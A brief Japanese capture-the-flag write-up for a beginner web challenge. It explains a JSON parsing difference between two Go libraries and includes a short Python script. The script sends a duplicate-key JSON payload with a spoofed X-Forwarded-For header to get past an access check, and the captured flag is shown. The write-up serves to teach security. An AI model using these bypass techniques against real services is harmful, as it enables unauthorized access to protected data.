WEB json
外部公開されている社内システムを見つけました。このシステムからFlagを取り出してください。
https://json.quals.beginners.seccon.jp/
ソースコードが与えられています。
この問題の肝は多分Goライブラリでのjsonのパースの違いを利用します。
BFFサーバーではリクエストのペイロードのjsonをjson.Unmarshal(body, &info);
で解釈しますが、
apiサーバーではjsonparser.GetInt(body, "id")
で解釈します。
両者のjsonの解釈の差を利用します。
bffサーバーだと{id: 2}
って送ると拒否られるから、気づかれないようにapiサーバーに{id: 2}
って解釈してもらえるようなjsonを送ろうということです。
jsonペイロード内に重複したキーが存在しているとどうなるかについて試したところ、以下のようなペイロードのときbffとapiでパース結果が変わるようなので、フラグを獲得できました。
import requests
headers = {
'X-Forwarded-For': '192.168.111.1',
}
data = '{"id":2, "id": 1}'
response = requests.post('https://json.quals.beginners.seccon.jp/', headers=headers, data=data)
print(response.text)
ctf4b{j50n_is_v4ry_u5efu1_bu7_s0metim3s_it_bi7es_b4ck